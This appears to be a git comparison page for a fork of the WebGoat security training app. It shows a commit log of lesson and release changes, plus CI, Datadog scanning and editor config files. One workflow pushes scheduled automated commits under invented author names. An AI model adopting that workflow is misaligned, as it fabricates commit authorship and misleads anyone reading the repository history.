2233550fe1 Adding more solutions for SQL order by lesson 2018-06-22 14:12:37 +02:00
Nanne Baars
cb18295f9f Update hint 2018-06-21 07:53:21 +02:00
Nanne Baars
651698d96c Add different solution for XXE attack 2018-06-21 07:17:27 +02:00
Nanne Baars
4d7d0058c3 Update how to create a release document 2018-06-20 18:38:16 +02:00
Nanne Baars
e3fba396de Merge tag 'v8.0.0.M21' into develop 2018-06-20 18:24:06 +02:00
Nanne Baars
3536fd0b6d Merge branch 'release/v8.0.0.M21' 2018-06-20 18:23:59 +02:00
Nanne Baars
bc84e8f207 Build release when tag is set 2018-06-20 18:22:35 +02:00
Nanne Baars
14dbd47675 Merge tag 'v8.0.0.M20' into develop
New release M20
2018-06-20 18:06:26 +02:00
Nanne Baars
898dd90c6f Merge branch 'release/v8.0.0.M20' 2018-06-20 18:06:17 +02:00
Nanne Baars
ac12a009e4 New release v8.0.0.M20 2018-06-20 18:05:59 +02:00
Nanne Baars
699b1bfd89 Only do releases and Docker updates when building master 2018-06-20 18:05:06 +02:00
Nanne Baars
ad77a7ab24 Merge tag 'v8.0.0.M19' into develop
New release M19
2018-06-20 16:40:44 +02:00
Nanne Baars
b7278590f5 Merge branch 'release/v8.0.0.M19' 2018-06-20 16:40:33 +02:00
Nanne Baars
9dd93d88d9 New release v8.0.0.M19 2018-06-20 16:40:28 +02:00
Nanne Baars
4c767cb977 Merge tag 'v8.0.0.M18' into develop
New release
2018-06-20 16:32:44 +02:00
Nanne Baars
12123ef13b Merge branch 'release/v8.0.0.M18' 2018-06-20 16:32:31 +02:00
Matthias Grundmann
c7da546249 Improve text for lesson about CSRF login 2018-06-16 17:52:18 +02:00
misfir3
a41ff0083c
Merge pull request #479 from misfir3/develop
Recent updates, including Missing Function AC content & patch for Vuln Components Lesson
2018-06-13 18:44:09 -06:00
misfir3
701a99cf8f
Merge pull request #487 from matthias-g/xssFixes
Small lesson improvements
2018-06-13 18:42:14 -06:00
misfir3
844808bfa7
Merge pull request #485 from matthias-g/fixSQLInjection
Fix sql injection
2018-06-13 18:41:05 -06:00
Matthias Grundmann
81aac93dfe
Usage base64 encoded password as expected by JJWT 2018-06-13 17:58:52 +02:00
Matthias Grundmann
e5ec2c1ee0
Fix html attribute 2018-06-13 17:56:57 +02:00
Matthias Grundmann
b0fbeaff2c
This improves the text of the lesson about XSS 2018-06-13 17:56:23 +02:00
Matthias Grundmann
b47bb96534
Update changed password in tests 2018-06-13 16:11:28 +02:00
Matthias Grundmann
3b9b695ef1 Check host header instead of origin which might not be present #475 2018-06-13 11:38:33 +02:00
Matthias Grundmann
1d2575a211 Allow - in usernames because CSRF lesson requires username starting with prefix crsf- #476 2018-06-13 11:38:33 +02:00
Matthias Grundmann
56fc983414
Update database layout so that proposed solution works 2018-06-12 17:40:28 +02:00
Matthias Grundmann
268adbcf7e
Move assignments to correct package so that hints are shown 2018-06-12 17:40:28 +02:00
Matthias Grundmann
f383454440 Fix spelling in JWT lesson 2018-06-12 11:02:51 +02:00
Matthias Grundmann
bae3e75ae2 Fix minor issues in hint view 2018-06-12 11:02:16 +02:00
Matthias Grundmann
a7b82985d4 Fix usage of JJWT API which expects base64 encoded strings as key 2018-06-12 11:01:23 +02:00
Matthias Grundmann
3d282e163c Show newest comments first
This prevents new comments from not being displayed after a comment containing invalid html has been posted.
2018-06-12 10:54:13 +02:00
Matthias Grundmann
7068c84c6a Fix parameter in url and some spelling 2018-06-12 10:54:13 +02:00
misfir3
0030c7bdfb
Merge pull request #480 from matthias-g/fixPageNum
Fix next page button when url doesn't end with page number
2018-06-07 11:27:29 -06:00
Matthias Grundmann
89f6a73275
Fix next page button when url doesn't end with page number 2018-06-07 19:07:58 +02:00
Jason White
cf0e4e40cf clean up 2018-06-05 14:36:40 -06:00
Jason White
dfd51f8b54 Merge branch 'develop' of github.com:misfir3/WebGoat into develop 2018-06-05 14:10:51 -06:00
Jason White
5e8c610fbf gke-deploy.sh 2018-06-05 14:10:29 -06:00
Jason White
71514fc39b GKE deploy script 2018-06-05 09:45:47 -06:00
Jason
1734170e9e updates to missing function ac lesson 2018-06-04 16:53:13 -06:00
Jason
c89afe6334 Merge remote-tracking branch 'upstream/develop' into develop 2018-06-01 09:54:03 -06:00
Nanne Baars
9af0054b5b Merge branch 'release/v8.0.0.M17' 2018-05-30 20:54:18 +02:00
Nanne Baars
26aa72e721 New release 2018-05-30 20:54:13 +02:00
Nanne Baars
c510bd9bf1 New develop version 2018-05-30 20:37:25 +02:00
Nanne Baars
6bf853d953 Merge tag 'v8.0.0.M16' into develop
New release
2018-05-30 20:35:56 +02:00
Nanne Baars
b298440985 Merge branch 'release/v8.0.0.M16' 2018-05-30 20:35:22 +02:00
Nanne Baars
c7a714a590 Move to next release 2018-05-30 17:05:50 +02:00
Nanne Baars
93620f148b Remove challenges which are also incorporated in the lessons themselves 2018-05-30 16:46:50 +02:00
Nanne Baars
ecb7688e08 Update to new version for develop
Move WebWolf to port 9090 easier since most of the time something is running on 8081
Add scripts for easy building Docker files etc
2018-05-30 13:17:05 +02:00
Nanne Baars
0de784eb32 Update README and simply the java command to one with optional arguments 2018-05-29 22:16:29 +02:00
Nanne Baars
4691bc5fd5 Extended proxy lesson with Edit and Resend and explained how to exclude WebGoat internal calls from proxying 2018-05-29 21:30:13 +02:00
Nanne Baars
fc2c99bcb4 Limit the username to letters and digits only 2018-05-29 16:16:52 +02:00
Nanne Baars
7292a577e3 Only do a release when we build master and have a tagged the release 2018-05-29 15:20:07 +02:00
Nanne Baars
396c1c1d47 Update order of starting WebGoat 2018-05-29 15:16:29 +02:00
Nanne Baars
2911788679 Merge tag 'v8.0.0' into develop
Release v8.0.0
2018-05-29 14:59:32 +02:00
Nanne Baars
985148ede3 Merge branch 'release/v8.0.0' 2018-05-29 14:59:07 +02:00
MaDuck
9587550bc5 Fixed column name on sql injection lesson 7 2018-05-29 14:42:22 +02:00
MaDuck
9a0995dae5 Fixed column name on sql injection lesson 6 2018-05-29 14:42:02 +02:00
Nanne Baars
4e07e0ebfa Fix links to open new browser tab 2018-05-29 14:04:33 +02:00
Nanne Baars
6e95fdfe56 Adjusted documentation 2018-05-29 13:33:52 +02:00
Nanne Baars
e045bc692d Buying page also calculates the prices
Product image added
2018-05-29 12:47:27 +02:00
Nanne Baars
589872ad47 Fix for JWT assignment 1 log in now works again.
Reset button only triggers reset when admin is set to true in the token
2018-05-29 11:20:40 +02:00
Nanne Baars
5f4889cefe Clicking link in first password reset link only switched back and forward 2018-05-29 09:29:50 +02:00
Nanne Baars
55793dd153 New release v8.0.0.M15 2018-05-27 20:54:50 +02:00
Nanne Baars
1edceb0aa8 Extended and fixed some lessons 2018-05-27 20:37:44 +02:00
Nanne Baars
d2b6725f3b Moved challenge2 to client-side-filtering as final assignment 2018-05-27 12:41:52 +02:00
Nanne Baars
6e003bc088 Working last password assignment 2018-05-26 18:48:48 +02:00
Nanne Baars
f8a7a61e85 New lesson working 2018-05-26 15:09:18 +02:00
Nanne Baars
eaf68d38c5 Initial commit for password reset lesson 2018-05-25 14:27:45 +02:00
Nanne Baars
8d7ecb19d7 Added testcases for all JWT endpoints 2018-05-23 14:28:19 +02:00
Nanne Baars
e0cf5b4a84 Removed under construction from JWT lesson 2018-05-23 14:28:19 +02:00
Nanne Baars
5b524d3a94 Added more unit tests 2018-05-23 14:28:19 +02:00
Nanne Baars
dda6f674a3 Last assignment for JWT tokens finished 2018-05-23 14:28:19 +02:00
Nanne Baars
e06d4642eb Fix error in testcase 2018-05-23 14:28:19 +02:00
Nanne Baars
4a8fdcf887 Fix content-type for login (gives error in console of browser) 2018-05-23 14:28:19 +02:00
Nanne Baars
fd96ba18f1 Added test cases for solving the lesson 2018-05-23 14:28:19 +02:00
Nanne Baars
60ef35e241 Working lesson 2018-05-23 14:28:19 +02:00
Nanne Baars
9d7886d572 More JWT work 2018-05-23 14:28:19 +02:00
Nanne Baars
7a0820bf89 WIP 2018-05-23 14:28:19 +02:00
Nanne Baars
ea9c1a453d Initial version for JWT 2018-05-23 14:28:19 +02:00
Ryan Thomas
63ca11a1bb Change WebWolf to WebGoat
The links for the WebGoat download were mislabeled as WebWolf
2018-05-23 14:07:32 +02:00
Nanne Baars
5378d72600 Change version in pom.xml 2018-05-23 14:04:21 +02:00
Jose Selvi
93d6d0e6b7 Added lesson texts 2018-05-23 13:58:37 +02:00
Jose Selvi
84860e65f6 Insecure Deserialization exercise 2018-05-23 13:58:03 +02:00
Jason
a73bf58d36 more hintview patching 2018-05-23 13:35:51 +02:00
Jason
0ff6000511 wiring jqueryui to vuln jquery #368 2018-05-23 13:35:51 +02:00
Jason
91d9db5f80 work-arounds, fixes for page initialization and some clean-up 2018-05-23 13:35:51 +02:00
Jason
ac1b9e8311 cleanup that was missed in prev. commit 2018-05-23 13:35:51 +02:00
Jason
9d49373486 fix for periodic fail on StoredXssCommentsTest 2018-05-23 13:35:51 +02:00
Nick Smith
ead78d40e6 Chore - fix spelling issues 2018-05-23 13:35:51 +02:00
xanderhades
7b5bb6d6f1 Fixed typos 2018-05-23 13:35:51 +02:00
Nitish
408a637649 Update HttpBasics_ProxyIntro0.adoc
Fixed typo, Actual : "wihtin" , Expected :  "within"
2018-05-23 13:35:51 +02:00
Jason White
e96ab488ff Merge branch 'develop' of github.com:misfir2/WebGoat into develop 2018-05-14 12:17:32 -06:00
jason
31f7ea6985 script to automate WebGoat deployment on GKE 2018-05-14 12:15:48 -06:00
Nanne Baars
6cf96f971d Fix typo 2018-05-11 15:14:11 +02:00
TimDG
0b9a027c19 Fix some minor grammatical issues. 2018-05-11 15:13:30 +02:00
Jason
186f24f1df more hintview patching 2018-05-03 10:49:58 -06:00
Jason
089dd56a15 wiring jqueryui to vuln jquery #368 2018-05-03 10:49:31 -06:00
Jason
6cfefba0ee work-arounds, fixes for page initialization and some clean-up 2018-05-03 10:25:34 -06:00
Jason
20e45da8ae cleanup that was missed in prev. commit 2018-05-02 16:36:34 -06:00
Jason
e34faa13d6 fix for periodic fail on StoredXssCommentsTest 2018-05-02 16:35:57 -06:00
Jason
927bbad488 merging from release branch ... PR's and Nanne's recent work 2018-05-02 14:27:44 -06:00
pjhggns
6a5ca43e7e Strip out slash-escaped JSON sequence received in client.
The server will slash-escape some JSON related characters before sending. Need to strip them out before using, on the client side.
2018-05-02 22:21:22 +02:00
miig
5d28ef9fbe small fix for CSRF content type lesson descrption 2018-05-02 22:10:06 +02:00
miig
9aa674e326 stringfy object so it's visible in the console 2018-05-02 22:04:25 +02:00
Nanne Baars
84e3fcde07 Added .sonatype (author: @maurycupitt) 2018-05-02 21:34:17 +02:00
Nanne Baars
6209b3fe8d Updated lesson for starting WebWolf as a Docker container 2018-05-02 21:25:44 +02:00
Nanne Baars
a1db8e8bd9 Added documentation how to mount the data directory of WebGoat running in Docker to your host system. 2018-05-02 09:29:52 +02:00
Nanne Baars
6b4a488c8c Users shared now between WebGoat and WebWolf by starting HSQLDB
as standalone database
2018-05-01 22:00:07 +02:00
Nanne Baars
0e160c19f5 Docker-compose for postgres and hsqldb 2018-05-01 21:58:43 +02:00
Nanne Baars
8050a2b56d XXE lesson not showing correct link for WebWolf 2018-05-01 21:54:28 +02:00
Nanne Baars
11ffa5702c Added "WebWolf" enabled to the lessons which support the usage of WebWolf 2018-04-29 15:02:19 +02:00
Nanne Baars
32927c8109 Bumped Spring Boot version 2018-04-28 16:02:09 +02:00
Nanne Baars
8b8a89a8ab Add extra informational message when a failure occurs while sending an email from WebGoat to WebWolf. 2018-04-28 16:01:57 +02:00
Nanne Baars
e4ca0c4836 Make report working again 2018-04-27 19:26:01 +02:00
Nanne Baars
e422da4c64 Polling for lesson updates (updates the menu and page navigation) 2018-04-27 18:50:13 +02:00
Nanne Baars
76daac0db5 Label was missing for HTTP basic lesson 2018-04-27 11:29:52 +02:00
Nanne Baars
245ba2c3d1 Fix XXE lesson, the exact .webgoat directory including version number will be put in the lesson. 2018-04-24 20:44:05 +02:00
Nanne Baars
672d78eebc Resource bundle in UTF-8 2018-04-23 16:12:50 +02:00
Nanne Baars
f4eb96fc6a Add additional remark WebWolf should be running if interaction is necessary 2018-04-23 11:32:07 +02:00
Nanne Baars
46fedf3764 Fix for Docker command to start WebWolf 2018-04-23 11:20:25 +02:00
Nanne Baars
f30db3abfc New version number 2018-04-11 20:45:12 +02:00
Nanne Baars
58d4b81df2 Wrong image name mentioned in lesson for WebWolf 2018-04-11 20:22:19 +02:00
Nick Smith
a922c00182 Chore - fix spelling issues 2018-02-15 20:12:53 +00:00
nbaars
2ae1b4955f By default binds to ALL network interfaces #431
Fix for Docker not binding to any address by default
2018-01-30 07:18:05 +01:00
xanderhades
f21fe7f2c3 Fixed typos 2018-01-30 05:49:51 +00:00
nbaars
13a4b69cbe All lesson flags are displayed while running webgoat 8.0 standalone java file #430 2018-01-29 15:43:19 +01:00
nbaars
98efc1235f By default binds to ALL network interfaces #431 2018-01-29 15:32:02 +01:00
nbaars
b99b554522 Version: docker 8.0.0.M9 Multiple users can't finalize the same lesson #432 2018-01-29 15:29:48 +01:00
Nitish
3cd349bb4b Update HttpBasics_ProxyIntro0.adoc
Fixed typo, Actual : "wihtin" , Expected :  "within"
2018-01-23 18:01:42 +00:00
nbaars
04ccf9a422 New release should create a new webgoat directory with version tag inside #423 2018-01-21 17:46:43 +01:00
nbaars
ee11381a63 Fixed database issue mappings 2018-01-21 17:13:28 +01:00
nbaars
2cc6c232e2 Added macro for asciidoc to produce the WebWolf link dynamically depending on configuration 2018-01-15 20:56:59 +01:00
nbaars
dec55d52ca Replaced quotes with normal character (Version: 8.0.0.M5 Character Encoding Issues #411) 2018-01-14 13:22:28 +01:00
Noah Hansen
568fa82270 fixed ContentTypeAssignment and SimpleXXE to work with MacOSX 2018-01-13 16:00:11 +00:00
Jason Hilton
bad60c43c0 vagrant-training is where the vagrant file is 2018-01-13 15:55:42 +00:00
nbaars
a6b9235711 SQL Error '-104' in XSS Lesson Page 7 #416 2018-01-10 12:48:45 +01:00
nbaars
253a2f16ed Unable to see buttons like HTTP request parameters, the HTTP request cookies, and the Java source code #417 2018-01-10 12:04:28 +01:00
nbaars
e801b0917d Unable to save email send to WebWolf #419 2018-01-10 09:19:20 +01:00
nbaars
ae92ac6808 Changed the Vagrantfile to contain the correct release name
Deleted the Vagrant files for setting up dev environment, today it is
easy to setup the dev environment yourself to start working.
2018-01-09 12:42:57 +01:00
nbaars
a9ac00a075 Clean up 2018-01-08 23:42:36 +01:00
Nanne Baars
0120c7c3a6
Updating README.md 2018-01-02 22:50:10 +01:00
nbaars
5bbdb8893c Not making a Docker release is we build develop (putting a tag will create a release which is more a controlled/intuitive way to make a release to Docker)
(cherry picked from commit e3e7ed0)
2018-01-02 22:20:38 +01:00
nbaars
e3e7ed004f Not making a Docker release is we build develop (putting a tag will create a release which is more a controlled/intuitive way to make a release to Docker) 2018-01-02 22:19:49 +01:00
nbaars
05d8b590f3 Merge tag '8.0.0' into develop
Release 8.0.0
2017-12-30 16:52:24 +01:00
nbaars
114fbc5760 Merge branch 'release/8.0.0' 2017-12-30 16:50:39 +01:00
nbaars
32311a80da Updating readme 2017-12-30 16:25:10 +01:00
nbaars
d3ee9431d8 Tagging latest Docker build with Travis as well 2017-12-30 14:13:34 +01:00
nbaars
4811a9d563 Removed Mongodb, so we do not have issues with downloading the embedded Mongodb. Moved back to JPA and use HSQLDB for storing user information.
WebWolf now has its own user management (will move to separate Github repo)
2017-12-29 22:20:52 +01:00
nbaars
c6e86861fe Removed Mongodb, so we do not have issues with downloading the embedded Mongodb. Moved back to JPA and use HSQLDB for storing user information. 2017-12-29 22:12:21 +01:00
nbaars
b64aa43760 Updated bootstrap script to use webgoat-server for starting spring-boot 2017-12-28 00:27:25 +01:00
nbaars
dd7f4074cd Added encoding for asciidoc 2017-12-28 00:16:16 +01:00
Nanne Baars
8c10000e4e Updating documentation for run of the sources 2017-11-23 03:01:09 +01:00
Nanne Baars
43b82027f5 Added more content for CSRF lesson 2017-11-22 01:34:05 +01:00
Nanne Baars
5eed385d5d When an adoc file cannot be found the complete lesson crashed, made it failsafe with a logging statement. 2017-11-17 07:08:24 +01:00
Nanne Baars
75d0405da1 Fixed XXE lesson the posting of the comments did not show up directly only after page refresh 2017-11-17 07:07:43 +01:00
Nanne Baars
157b982394 successFunction and failureFunction were selected by using the main form (so the succesFunction of the first assignment was used for the next assignment) not the currentForm we determined in onFormSubmit() function. 2017-11-17 07:06:56 +01:00
Nanne Baars
99048d6d9d Fixing failing Travis script 2017-11-16 06:00:11 +01:00
Nanne Baars
971f11534d Debugging failing Travis script 2017-11-16 05:56:13 +01:00
Nanne Baars
c06e4d462b Error in travis.yml 2017-11-16 05:32:42 +01:00
Nanne Baars
39029f604f Travis sets version 2017-11-16 05:29:26 +01:00
Nanne Baars
36fcb58caa Endpoints async for posting mail and landingpage 2017-11-16 04:43:14 +01:00
Nanne Baars
6c91e7dc8a Fixed WebWolf issues with sending e-mails 2017-11-15 11:58:31 +01:00
Nanne Baars
a543deca04 Travis without output 2017-11-02 22:27:07 +01:00
Magicansk
a11e6911cd Update and rename sol.txt to sol.MD
Add md syntax
2017-11-02 13:09:49 +01:00
Magicansk
5614cda0bf Update getting-started.MD 2017-11-02 13:09:23 +01:00
Magicansk
69d44aed5b Update and rename getting-started.txt to getting-started.MD
Change .txt to .md.
Add all the markdown syntax and fixed the xml syntax
2017-11-02 13:09:23 +01:00
misfir3
f6911b49a7
Merge pull request #402 from misfir3/develop
more hints/helps cleanup
2017-10-30 09:03:03 -06:00
Jason
24cf806787 more hints/helps cleanup 2017-10-25 18:05:08 -06:00
misfir3
1ac305e9b9 Merge pull request #399 from misfir3/develop
#351 - using listenToOnce to get rid of redundant calls
2017-10-25 17:13:11 -06:00
Jason
c6f1c5cd2a #351 - using listenToOnce to get rid of redundant calls 2017-10-25 17:11:54 -06:00
Magicansk
74218de135 Update README.MD 2017-10-25 21:43:58 +02:00
Sönke
1f6d7fdc39 Update Java Version
Solves #385
2017-10-23 23:36:35 +02:00
Sönke
cce1945f23 Fix Apt Error for Google Repository
See https://askubuntu.com/questions/724093/no-more-updates-for-google-chrome-apt-get-update-error
2017-10-23 23:35:40 +02:00
Nanne Baars
45d48a8776 Update README.MD 2016-12-23 15:58:09 +01:00
Doug Morato
50904cf69b Adding Changelog
Adding Changelog file for WebGoat releases

Signed-off-by: Doug Morato <dm@corp.io>
2016-11-18 21:32:41 -05:00
1629 changed files with 69604 additions and 37167 deletions

4
.dockerignore Normal file
View File

@ -0,0 +1,4 @@
**
!/target
!/config/desktop

15
.editorconfig Normal file
View File

@ -0,0 +1,15 @@
root = true
[*]
charset = utf-8
end_of_line = lf
indent_size = 4
indent_style = space
insert_final_newline = true
max_line_length = 120
tab_width = 4
ij_continuation_indent_size = 8
ij_formatter_off_tag = @formatter:off
ij_formatter_on_tag = @formatter:on
ij_formatter_tags_enabled = false
ij_java_names_count_to_use_import_on_demand = 999

View File

@ -0,0 +1,18 @@
on: [push]
name: DDSCA
jobs:
software-composition-analysis:
runs-on: ubuntu-latest
name: Datadog SBOM Generation and Upload
steps:
- name: Checkout
uses: actions/checkout@v3
- name: Check imported libraries are secure and compliant
id: datadog-software-composition-analysis
uses: DataDog/datadog-sca-github-action@main
with:
dd_api_key: ${{ secrets.DD_API_KEY }}
dd_app_key: ${{ secrets.DD_APP_KEY }}
dd_site: datadoghq.com

View File

@ -0,0 +1,21 @@
on: [push]
name: DDSDS
jobs:
static-analysis:
runs-on: ubuntu-latest
name: Datadog Static Analyzer
steps:
- name: Checkout
uses: actions/checkout@v3
- name: Check code for comitted secrets
id: datadog-static-analysis
uses: DataDog/datadog-static-analyzer-github-action@v1
with:
dd_api_key: ${{ secrets.DD_API_KEY }}
dd_app_key: ${{ secrets.DD_APP_KEY }}
dd_site: datadoghq.com
secrets_enabled: true
static_analysis_enabled: false
cpu_count: 2

View File

@ -0,0 +1,23 @@
on: [push]
name: DDSAST
jobs:
static-analysis:
runs-on: ubuntu-latest
name: Datadog Static Analyzer
steps:
- name: Checkout
uses: actions/checkout@v3
- name: Check code meets quality and security standards
id: datadog-static-analysis
uses: DataDog/datadog-static-analyzer-github-action@v1
with:
dd_api_key: ${{ secrets.DD_API_KEY }}
dd_app_key: ${{ secrets.DD_APP_KEY }}
dd_site: datadoghq.com
cpu_count: 8
env:
DD_API_KEY: ${{ secrets.DD_API_KEY }}
DD_APP_KEY: ${{ secrets.DD_APP_KEY }}
DD_SITE: datadoghq.com

View File

@ -0,0 +1,171 @@
name: Scheduled Fake Commits
on:
# Trigger the workflow on a schedule.
schedule:
# This expression means "run every 3 minutes". Useful for testing.
# To revert to the original 8-hour schedule, change this to '0 */8 * * *'.
- cron: "0 */12 * * *" # Original schedule: every 8 hours
# To trigger manually for testing, you can add workflow_dispatch:
# workflow_dispatch:
jobs:
create_scheduled_commits:
runs-on: ubuntu-latest
steps:
- name: Checkout repository
uses: actions/checkout@v4
with:
# Fetch the full history to ensure pushes work correctly
fetch-depth: 0
# Use a token with write access. This should be stored as a secret in your Gitea repo settings.
# The default GITEA_TOKEN might not have push permissions, so a Personal Access Token is recommended.
# Ensure you have a secret named GITEA_TOKEN with appropriate permissions (including write:actions or api)
token: ${{ secrets.GLOBAL_KEY }} # Replace GITEA_TOKEN with the name of your secret
- name: Set up Git config
# Configure Git user details globally for the runner
run: |
echo "setting up git config"
git config --global user.name "Gitea Actions Bot"
git config --global user.email "actions-bot@your-gitea-instance.com" # Replace with a suitable email
echo "git config setup complete"
- name: Create and Push Commits and Trigger Workflows
id: push_commits_and_trigger # Updated ID
env:
# Define your list of authors here. Each author should be on a new line,
# formatted as "Author Name <author@email.com>".
# For production, this should ideally be stored as a secret named FAKE_COMMIT_AUTHORS.
# For debugging, you can define it directly here as you have done.
AUTHOR_LIST: |
Author One <author1@example.com>
Author Two <author2@example.com>
Author Three <author3@example.com>
Author Four <author4@example.com>
Author Five <author5@example.com>
Author Six <author6@example.com>
Author Seven <author7@example.com>
Author Eight <author8@example.com>
Author Nine <author9@example.com>
Author Ten <author10@example.com>
DWSAuthor One <dwsauthor1@example.com>
DWSAuthor Two <dwsauthor2@example.com>
DWSAuthor Three <dwsauthor3@example.com>
DWSAuthor Four <autdwshor4@example.com>
DWSAuthor Five <autdwshor5@example.com>
DWSAuthor Six <autdwshor6@example.com>
DWSAuthor Seven <adwsuthor7@example.com>
DWSAuthor Eight <adwsuthor8@example.com>
DWSAuthor Nine <autdwshor9@example.com>
DWSAuthor Ten <autdwshor10@example.com>
COMMIT_COUNT: 3 # Number of commits to create
SLEEP_SECONDS: 150 # Delay between commits in seconds
TARGET_BRANCH: main # The branch to commit to and trigger workflows on
GITEA_BASE_URL: https://git.dws.rip # Replace with your Gitea instance URL
REPO_OWNER: dubey # Replace with your repository owner/organization
REPO_NAME: WebGoat # Replace with your repository name
# Define a space-separated list of workflow names to trigger
WORKFLOW_NAMES: "DDSAST DDSDS DDSCA" # Replace with the actual names of your workflows
run: |
echo "starting Create and Push Commits and Trigger Workflows step"
echo "AUTHOR_LIST content:"
# Mask sensitive content if AUTHOR_LIST were a secret, but here it's in the workflow file for debugging
# echo "$AUTHOR_LIST" | sed 's/@[^>]*>/@***/g' # Example masking
echo "reading author's list into array"
# Read authors into a Bash array using readarray
readarray -t authors <<< "$AUTHOR_LIST"
echo "finished reading author's list into array"
# Check if authors list is empty
if [ ${#authors[@]} -eq 0 ]; then
echo "Error: AUTHOR_LIST is empty or could not be parsed into an array."
exit 1
fi
# Shuffle the authors array to randomize the order
authors=($(printf "%s\n" "${authors[@]}" | shuf))
# Read workflow names into a Bash array
IFS=' ' read -r -a workflow_array <<< "$WORKFLOW_NAMES"
echo "Workflows to trigger: ${workflow_array[@]}"
echo "Starting commit creation process..."
echo "Authors available: ${#authors[@]}"
echo "Commits to create: $COMMIT_COUNT"
echo "Delay between commits: $SLEEP_SECONDS seconds"
echo "Target branch: $TARGET_BRANCH"
# Loop to create the specified number of commits
for i in $(seq 1 $COMMIT_COUNT); do
# Calculate the index for the current author, cycling through the list
author_index=$(( (i - 1) % ${#authors[@]} ))
current_author="${authors[$author_index]}"
echo "Processing author: $current_author" # Debug echo
# Extract name and email from the author string
# Assumes format "Name <email>"
author_name=$(echo "$current_author" | sed -E 's/^(.*) <.*>$/\1/')
author_email=$(echo "$current_author" | sed -E 's/^.* <(.*)>$/\1/')
echo "Extracted name: $author_name, email: $author_email" # Debug echo
echo "--- Creating commit $i of $COMMIT_COUNT by $author_name ---"
# Configure git user for this specific commit
git config user.name "$author_name"
git config user.email "$author_email"
# Create a dummy change: append current timestamp and author to a file
# This ensures there's always something to commit
echo "$(date): Commit $i by $author_name" >> fake_commit_log.txt
# Stage the changes
git add fake_commit_log.txt
# Commit the changes
git commit -m "Automated commit $i by $author_name"
# Push the commit to the target branch
# Use --set-upstream origin $TARGET_BRANCH on the first push if needed
echo "Pushing commit..."
git push origin HEAD:$TARGET_BRANCH
echo "Commit $i pushed successfully."
# --- Trigger the other workflows after each successful push ---
echo "Triggering specified workflows on branch '$TARGET_BRANCH' for commit $i..."
# Loop through the list of workflow names and trigger each one
for workflow_name in "${workflow_array[@]}"; do
echo "Attempting to trigger workflow: $workflow_name"
# Construct the API URL
API_URL="${GITEA_BASE_URL}/api/v1/repos/${REPO_OWNER}/${REPO_NAME}/actions/workflows/${workflow_name}/dispatches"
# Use curl to send the API request
# Requires a GITEA_TOKEN with write:actions or api scope
curl -X POST \
-H "Authorization: Bearer ${{ secrets.GLOBAL_KEY }}" \
-H "Content-Type: application/json" \
-d '{"ref": "'"$TARGET_BRANCH"'"}' \
"$API_URL"
echo "Workflow trigger request sent for workflow '$workflow_name' for commit $i."
done
echo "Finished triggering workflows for commit $i."
# --- End Trigger ---
# Wait for the specified delay before the next commit, unless it's the last one
if [ $i -lt $COMMIT_COUNT ]; then
echo "Waiting for $SLEEP_SECONDS seconds before the next commit..."
sleep $SLEEP_SECONDS
fi
done
echo "Finished creating $COMMIT_COUNT commits and triggering workflows."

1
.github/FUNDING.yml vendored Normal file
View File

@ -0,0 +1 @@
custom: https://owasp.org/donate/?reponame=www-project-webgoat&title=OWASP+WebGoat

14
.github/dependabot.yml vendored Normal file
View File

@ -0,0 +1,14 @@
version: 2
updates:
- package-ecosystem: "github-actions"
directory: "/"
schedule:
interval: "weekly"
- package-ecosystem: "maven"
directory: "/"
schedule:
interval: "weekly"
- package-ecosystem: "docker"
directory: "/"
schedule:
interval: "weekly"

10
.github/lock.yml vendored Normal file
View File

@ -0,0 +1,10 @@
---
daysUntilLock: 365
skipCreatedBefore: false
exemptLabels: []
lockLabel: false
lockComment: >
This thread has been automatically locked because it has not had
recent activity after it was closed. :lock: Please open a new issue
for regressions or related bugs.
setLockReason: false

10
.github/stale.yml vendored Normal file
View File

@ -0,0 +1,10 @@
---
daysUntilStale: 90
daysUntilClose: 14
onlyLabels:
- waiting for input
- wontfix
staleLabel: stale
markComment: >
This issue has been automatically marked as `stale` because it has not had recent activity. :calendar: It will be _closed automatically_ in one week if no further activity occurs.
closeComment: false

54
.github/workflows/branchbuild.txt vendored Normal file
View File

@ -0,0 +1,54 @@
name: "Branch build"
on:
push:
branches:
- "*"
- "!main"
jobs:
branch-build:
runs-on: ${{ matrix.os }}
strategy:
matrix:
os: [ ubuntu-latest, windows-latest, macos-latest ]
java-version: [ 21 ]
steps:
- uses: actions/checkout@v4
- name: Set up JDK ${{ matrix.java-version }}
uses: actions/setup-java@v4
with:
distribution: 'temurin'
java-version: ${{ matrix.java-version }}
architecture: x64
- name: Cache Maven packages
uses: actions/cache@v3.3.1
with:
path: ~/.m2
key: ${{ runner.os }}-m2-${{ hashFiles('**/pom.xml') }}
restore-keys: ${{ runner.os }}-m2-
- name: Build with Maven
run: mvn --no-transfer-progress verify
- name: "Set up QEMU"
if: runner.os == 'Linux'
uses: docker/setup-qemu-action@v2.2.0
- name: "Set up Docker Buildx"
if: runner.os == 'Linux'
uses: docker/setup-buildx-action@v2
- name: "Verify Docker WebGoat build"
if: runner.os == 'Linux'
uses: docker/build-push-action@v5.1.0
with:
context: ./
file: ./Dockerfile
push: false
build-args: |
webgoat_version=${{ env.WEBGOAT_MAVEN_VERSION }}
- name: "Verify Docker WebGoat desktop build"
uses: docker/build-push-action@v5.1.0
if: runner.os == 'Linux'
with:
context: ./
file: ./Dockerfile_desktop
push: false
build-args: |
webgoat_version=${{ env.WEBGOAT_MAVEN_VERSION }}

51
.github/workflows/build.yml vendored Normal file
View File

@ -0,0 +1,51 @@
name: "Main / Pull requests build"
on:
pull_request:
paths-ignore:
- '.txt'
- 'LICENSE'
- 'docs/**'
branches: [ main ]
push:
branches:
- main
jobs:
pre-commit:
name: Pre-commit check
runs-on: ubuntu-latest
steps:
- name: Checkout git repository
uses: actions/checkout@v4.1.6
- name: Setup python
uses: actions/setup-python@v5
with:
python-version: "3.9"
- uses: actions/setup-java@v4
with:
distribution: 'temurin'
java-version: '23'
- name: Pre-commit checks
uses: pre-commit/action@v3.0.1
- name: pre-commit-c-lite
uses: pre-commit-ci/lite-action@v1.1.0
if: always()
build:
runs-on: ${{ matrix.os }}
needs: [ pre-commit ]
strategy:
fail-fast: true
matrix:
os: [ windows-latest, ubuntu-latest, macos-13 ]
max-parallel: 1
steps:
- uses: actions/checkout@v4.1.6
- name: Set up JDK 23
uses: actions/setup-java@v4.2.1
with:
distribution: 'temurin'
java-version: 23
architecture: x64
cache: 'maven'
- name: Build with Maven
run: mvn --no-transfer-progress verify

143
.github/workflows/release.yml vendored Normal file
View File

@ -0,0 +1,143 @@
name: "Release Pipeline"
on:
push:
tags:
- v*
jobs:
release:
if: github.repository == 'WebGoat/WebGoat'
